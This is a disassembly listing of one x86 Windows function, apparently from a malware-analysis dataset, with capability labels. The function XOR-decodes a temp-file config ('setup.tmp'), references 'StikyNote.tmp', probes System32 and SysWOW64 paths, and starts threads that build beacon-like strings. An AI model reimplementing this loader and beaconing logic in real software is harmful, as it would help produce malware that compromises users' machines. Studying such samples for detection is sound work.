Function at 0x409460
Capabilities:
Create thread
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x451fb0
push 0x422bc0
mov eax, dword fs:[0]
push eax
sub esp, 0xd10
mov eax, dword [0x453348]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
lea eax, [ebp - 0xc28]
push eax
push 0x202
call dword [0x457238]
test eax, eax
je 0x4094c1
call dword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x409ea1
call fcn.0040da10
lea esi, [ebp - 0xa28]
call fcn.0040df10
mov ecx, esi
push ecx
mov ebx, 0x44e178
lea eax, [ebp - 0x980]
call fcn.00417230
add esp, 4
push eax
mov eax, 0x459ac0
lea ecx, [ebp - 0xa0c]
call fcn.004175d0
add esp, 4
lea ecx, [ebp - 0x980]
call fcn.00401880
mov dword [ebp - 0xc60], 0
mov byte [ebp - 0x948], 0
push 0x3ff
push 0
lea edx, [ebp - 0x947]
push edx
call fcn.00427fa0
add esp, 0xc
lea ecx, [ebp - 0x9b8]
call fcn.00401800
lea eax, [ebp - 0x440]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x440]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x409551
mov ecx, dword [str.setup]
mov dword [eax], ecx
mov dx, word [0x44dfa0]
mov word [eax + 4], dx
lea eax, [ebp - 0x440]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x409573
mov ecx, dword [str..tmp]
mov dword [eax], ecx
mov dl, byte [0x44dcfc]
mov byte [eax + 4], dl
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
test ebx, ebx
je 0x409e8b
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 0xc60]
push ecx
push 0x400
lea edx, [ebp - 0x948]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0x948]
push eax
lea ecx, [ebp - 0x980]
call fcn.00401820
mov edi, eax
lea esi, [ebp - 0x9b8]
call fcn.00401900
lea ecx, [ebp - 0x980]
call fcn.00401880
xor eax, eax
mov dword [ebp - 0xc48], eax
cmp eax, dword [ebp - 0x9a8]
jae 0x40963d
cmp dword [ebp - 0x9a4], 0x10
mov esi, dword [ebp - 0x9b8]
jae 0x40962d
lea esi, [ebp - 0x9b8]
movsx ecx, byte [esi + eax]
xor ecx, 0xe9
mov byte [esi + eax], cl
inc eax
jmp 0x40960a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0xa0c]
push edx
mov ebx, str.StikyNote.tmp
lea eax, [ebp - 0x980]
call fcn.00417230
add esp, 4
mov edi, eax
lea eax, [ebp - 0x9f0]
call fcn.00401860
lea ecx, [ebp - 0x980]
call fcn.00401880
sub esp, 0x1c
lea eax, [ebp - 0x9f0]
mov esi, esp
call fcn.0040f870
call fcn.00403910
add esp, 0x1c
push str.Shlwapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.PathFileExistsA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4571f0], eax
mov byte [ebp - 0x338], 0
push 0x103
push 0
lea eax, [ebp - 0x337]
push eax
call fcn.00427fa0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x338]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov byte [ebp - 0x230], 0
push 0x103
push 0
lea edx, [ebp - 0x22f]
push edx
call fcn.00427fa0
add esp, 0xc
lea eax, [ebp - 0x338]
mov ecx, eax
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x409700
sub eax, ecx
mov esi, ecx
lea edi, [ebp - 0x230]
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x409712
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x230]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x409730
mov ecx, dword [str.SysWOW64]
mov dword [eax], ecx
mov edx, dword [0x44dfc4]
mov dword [eax + 4], edx
mov cx, word [0x44dfc8]
mov word [eax + 8], cx
mov byte [ebp - 0x128], 0
push 0x103
push 0
lea edx, [ebp - 0x127]
push edx
call fcn.00427fa0
add esp, 0xc
lea eax, [ebp - 0x338]
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x409780
sub eax, ecx
mov esi, ecx
lea edi, [ebp - 0x128]
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x409792
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x128]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4097b0
mov ecx, dword [str.System32]
mov dword [eax], ecx
mov edx, dword [0x44dfd0]
mov dword [eax + 4], edx
mov cx, word [0x44dfd4]
mov word [eax + 8], cx
lea edx, [ebp - 0x548]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x548]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4097f0
mov ecx, dword [0x44dfd8]
mov dword [eax], ecx
mov edx, dword [0x44dfdc]
mov dword [eax + 4], edx
mov ecx, dword [0x44dfe0]
mov dword [eax + 8], ecx
mov dx, word [0x44dfe4]
mov word [eax + 0xc], dx
lea eax, [ebp - 0x128]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x409824
mov edx, dword [0x44e68c]
mov dword [eax], edx
mov esi, dword [0x44e690]
mov dword [eax + 4], esi
mov edi, dword [0x44e694]
mov dword [eax + 8], edi
mov bx, word [0x44e698]
mov word [eax + 0xc], bx
mov cl, byte [0x44e69a]
mov byte [eax + 0xe], cl
lea eax, [ebp - 0x230]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x409861
mov dword [eax], edx
mov dword [eax + 4], esi
mov dword [eax + 8], edi
mov word [eax + 0xc], bx
mov dl, byte [0x44e69a]
mov byte [eax + 0xe], dl
lea eax, [ebp - 0x230]
push eax
call dword [0x4571f0]
test al, al
jne 0x4098ad
lea ecx, [ebp - 0x128]
push ecx
call dword [0x4571f0]
test al, al
jne 0x4098ad
lea edx, [ebp - 0x548]
push edx
call dword [0x4571f0]
lea esi, [ebp - 0xc44]
call fcn.00411b80
push 0
push 0x11
push 0
push 0
mov edi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
call edi
mov dword [0x45719c], eax
xor esi, esi
mov dword [ebp - 0xc4c], esi
cmp esi, 0x10
jge 0x4098ee
push 0
push 1
push 0
push 0
call edi
mov dword [esi*4 + 0x4571a8], eax
inc esi
jmp 0x4098cf
lea eax, [ebp - 0xc74]
push eax
push 0
push 0
push 0x408430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xc64], eax
mov byte [ebp - 0xc29], 1
jmp 0x409920
cmp byte [0x459c3d], 0
jne 0x409e3d
mov dword [ebp - 4], 1
lea ecx, [ebp - 0xc58]
push ecx
call fcn.0041fd16
add esp, 4
lea edx, [ebp - 0xc58]
push edx
call fcn.0041f73c
add esp, 4
mov esi, dword [eax + 4]
inc esi
lea eax, [ebp - 0xc58]
push eax
call fcn.0041fd16
add esp, 4
lea ecx, [ebp - 0xc58]
push ecx
call fcn.0041f73c
add esp, 4
cmp dword [eax + 4], esi
je 0x409986
cmp byte [ebp - 0xc29], 0
je 0x409a41
mov byte [ebp - 0xc29], 0
sub esp, 0x1c
mov eax, 0x455e58
mov esi, esp
call fcn.0040f870
lea edx, [ebp - 0x99c]
push edx
call fcn.0040c280
add esp, 0x20
mov esi, eax
cmp esi, 0x456034
je 0x409a36
mov ebx, 0x10
cmp dword [0x456048], ebx
jb 0x4099d4
mov eax, dword [0x456034]
push eax
call fcn.0041d1cc
add esp, 4
mov edi, 0xf
mov dword [0x456048], edi
mov dword [0x456044], 0
mov byte [0x456034], 0
cmp dword [esi + 0x14], ebx
jae 0x409a0a
mov eax, dword [esi + 0x10]
inc eax
push eax
push esi
push 0x456034
call fcn.0041c5a0
add esp, 0xc
jmp 0x409a18
mov ecx, dword [esi]
mov dword [0x456034], ecx
mov dword [esi], 0
mov edx, dword [esi + 0x10]
mov dword [0x456044], edx
mov eax, dword [esi + 0x14]
mov dword [0x456048], eax
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], 0
mov byte [esi], 0
lea ecx, [ebp - 0x99c]
call fcn.00401880
call fcn.0040f120
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x44dbd8
lea ecx, [ebp - 0x9d4]
call fcn.00401820
push eax
sub esp, 0x1c
mov edi, esp
lea esi, [ebp - 0xa60]
call fcn.0040e380
mov esi, eax
push str.insert_index_id
lea ecx, [ebp - 0xa98]
call fcn.00401820
mov ecx, eax
mov eax, 0x455e74
lea ebx, [ebp - 0xa7c]
call fcn.00417610
push eax
mov eax, str.hst
lea ecx, [ebp - 0xa44]
call fcn.004175d0
add esp, 4
mov ecx, eax
mov eax, esi
lea ebx, [ebp - 0x99c]
call fcn.00417640
push eax
mov eax, str.ttype102state201
mov ecx, edi
call fcn.004175d0
sub esp, 0x18
mov ecx, esp
push 0x44e1b8
call fcn.00401820
sub esp, 0x1c
mov eax, 0x455e58
mov esi, esp
call fcn.0040f870
lea ecx, [ebp - 0x980]
push ecx
call fcn.0040ab10
add esp, 0x5c
mov ecx, ebx
call fcn.00401880
lea ecx, [ebp - 0xa44]
call fcn.00401880
lea ecx, [ebp - 0xa7c]
call fcn.00401880
lea ecx, [ebp - 0xa98]
call fcn.00401880
lea ecx, [ebp - 0xa60]
call fcn.00401880
lea ecx, [ebp - 0x9d4]
call fcn.00401880
lea edx, [ebp - 0x980]
push edx
lea edi, [ebp - 0xd20]
call fcn.00411280
lea ecx, [ebp - 0x964]
call fcn.00401800
mov byte [ebp - 0xc2a], 0
cmp byte [ebp - 0xc2a], 0
jne 0x409d2f
lea eax, [ebp - 0x964]
push eax
mov edx, 0x44dbd8
call fcn.0040f8f0
push 0xa
lea ecx, [ebp - 0xd20]
push ecx
lea ecx, [ebp - 0x964]
call fcn.00418440
add esp, 8
xor ebx, ebx
push ebx
lea edx, [ebp - 0x964]
push edx
mov edx, 0x44e6b4
call fcn.0040fa10
cmp eax, 0xffffffff
je 0x409d17
lea edi, [ebp - 0x964]
lea esi, [ebp - 0x9d4]
call fcn.0040e2c0
mov esi, eax
mov eax, edi
cmp eax, esi
je 0x409c36
mov edi, 0x10
cmp dword [ebp - 0x950], edi
jb 0x409bdc
mov ecx, dword [ebp - 0x964]
push ecx
call fcn.0041d1cc
add esp, 4
mov dword [ebp - 0x950], 0xf
mov dword [ebp - 0x954], ebx
mov byte [ebp - 0x964], bl
cmp dword [esi + 0x14], edi
jae 0x409c0e
mov eax, dword [esi + 0x10]
inc eax
push eax
push esi
lea edx, [ebp - 0x964]
push edx
call fcn.0041c5a0
add esp, 0xc
jmp 0x409c18
mov eax, dword [esi]
mov dword [ebp - 0x964], eax
mov dword [esi], ebx
mov ecx, dword [esi + 0x10]
mov dword [ebp - 0x954], ecx
mov edx, dword [esi + 0x14]
mov dword [ebp - 0x950], edx
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
lea ecx, [ebp - 0x9d4]
call fcn.00401880
mov eax, dword [ebp - 0xc34]
inc eax
mov ecx, dword [ebp - 0xc3c]
cmp ecx, eax
ja 0x409c65
lea ebx, [ebp - 0xc44]
call fcn.00414af0
mov ecx, dword [ebp - 0xc3c]
xor ebx, ebx
mov eax, dword [ebp - 0xc34]
add eax, dword [ebp - 0xc38]
mov esi, eax
mov dword [ebp - 0xc50], esi
cmp ecx, eax
ja 0x409c87
sub eax, ecx
mov esi, eax
mov dword [ebp - 0xc50], esi
mov ecx, dword [ebp - 0xc40]
cmp dword [ecx + esi*4], ebx
jne 0x409ca9
push 0x1c
call fcn.0041d2d9
add esp, 4
cmp eax, ebx
je 0x409ce4
mov edx, dword [ebp - 0xc40]
mov dword [edx + esi*4], eax
mov edx, dword [ebp - 0xc40]
mov ecx, dword [edx + esi*4]
cmp ecx, ebx
je 0x409cd2
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], ebx
mov byte [ecx], 0
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x964]
push eax
call fcn.00401e30
inc dword [ebp - 0xc34]
mov byte [0x459c02], 1
jmp 0x409b51
mov dword [ebp - 0xc5c], ebx
lea eax, [ebp - 0xc5c]
push eax
lea ecx, [ebp - 0xc70]
call fcn.0041c3a0
mov dword [ebp - method.std::bad_alloc.virtual_0], vtable.std::bad_alloc.0
push 0x451a70
lea ecx, [ebp - 0xc70]
push ecx
call fcn.004231cc
cmp dword [ebp - 0x954], ebx
jne 0x409b51
mov byte [ebp - 0xc2a], 1
jmp 0x409b51
call fcn.00408a60
call fcn.00408b10
call fcn.00409440
mov ebx, eax
cmp dword [ebp - 0xc34], 0
je 0x409dfb
test ebx, ebx
js 0x409dfb
lea ecx, [ebp - 0xc44]
call fcn.00411c00
lea esi, [ebp - 0x99c]
call fcn.0040f870
lea esi, [ebp - 0xc44]
call fcn.00411c40
push 0x20
call fcn.0041d2d9
add esp, 4
test eax, eax
je 0x409d8d
call fcn.00409ed0
mov edi, eax
jmp 0x409d8f
xor edi, edi
mov dword [edi], ebx
push 0xffffffffffffffff
push 0
lea ecx, [ebp - 0x99c]
push ecx
lea ecx, [edi + 4]
call fcn.00401e30
mov esi, ebx
shl esi, 4
add esi, ebx
add esi, esi
add esi, esi
push 0xffffffffffffffff
push 0
lea edx, [ebp - 0x99c]
push edx
lea ecx, [esi + 0x45a47c]
call fcn.00401e30
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x45a478], eax
lea eax, [esi + 0x45a474]
push eax
push 0
push edi
push 0x4066e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x45a470], eax
lea ecx, [ebp - 0x99c]
call fcn.00401880
lea ecx, [ebp - 0x964]
call fcn.00401880
lea eax, [ebp - 0xd20]
call fcn.004046f0
lea ecx, [ebp - 0x980]
call fcn.00401880
mov dword [ebp - 4], 0
jmp 0x409920
push 0
mov ecx, dword [ebp - 0xc64]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [ebp - 0xc44]
call fcn.004066c0
lea ecx, [ebp - 0x9f0]
call fcn.00401880
lea ecx, [ebp - 0x9b8]
call fcn.00401880
lea ecx, [ebp - 0xa0c]
call fcn.00401880
lea ecx, [ebp - 0xa28]
call fcn.00401880
jmp 0x409ea1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
call fcn.00420067
mov eax, 1
ret
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret